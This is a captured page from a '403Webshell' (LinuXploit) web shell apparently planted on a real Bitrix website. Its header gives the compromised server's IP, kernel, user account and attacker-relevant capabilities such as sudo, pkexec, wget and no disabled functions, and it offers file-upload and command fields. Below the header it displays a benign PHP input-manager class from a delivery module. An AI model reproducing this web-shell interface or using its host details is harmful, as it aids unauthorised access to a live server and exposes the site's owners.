403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/lpost.delivery/lib/admin/input/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/lpost.delivery/lib/admin/input/manager.php
<?php

namespace Lpost\Delivery\Admin\Input;

use Bitrix\Sale;

class Manager
{
	//const TYPE_STRING_EXTENDED = 'stringExtended';
	const TYPE_STRING_EITHERYN= 'eitherYN';

	protected static $prefix = 'LPOST_';
	protected static $isRegistered = false;

	public static function register()
	{
		if (!static::$isRegistered)
		{
			static::$isRegistered = true;

			$internalTypes = static::getInternalTypes();

			foreach ($internalTypes as $internalType)
			{
				$bitrixName = static::getBitrixName($internalType);
				$className = static::getTypeClassName($internalType);

				Sale\Internals\Input\Manager::register($bitrixName, [ 'CLASS' => $className ]);
			}
		}
	}

	public static function getInternalTypes()
	{
		return [
			//static::TYPE_STRING_EXTENDED,
			static::TYPE_STRING_EITHERYN
		];
	}

	public static function isInternalType($type)
	{
		return (strpos($type, static::$prefix) === 0);
	}

	public static function getInternalName($type)
	{
		$typeWithoutPrefix = str_replace(static::$prefix, '', $type);

		return strtolower($typeWithoutPrefix);
	}

	public static function getBitrixName($internalName)
	{
		return static::$prefix . strtoupper($internalName);
	}

	public static function getTypeClassName($internalName)
	{
		return __NAMESPACE__ . '\\' . ucfirst($internalName);
	}

	public static function getEditHtml($name, array $input, $value = null)
	{
		$internalName = static::getInternalName($input['TYPE']);
		$typeClassName = static::getTypeClassName($internalName);

		return $typeClassName::getEditHtml($name, $input, $value);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit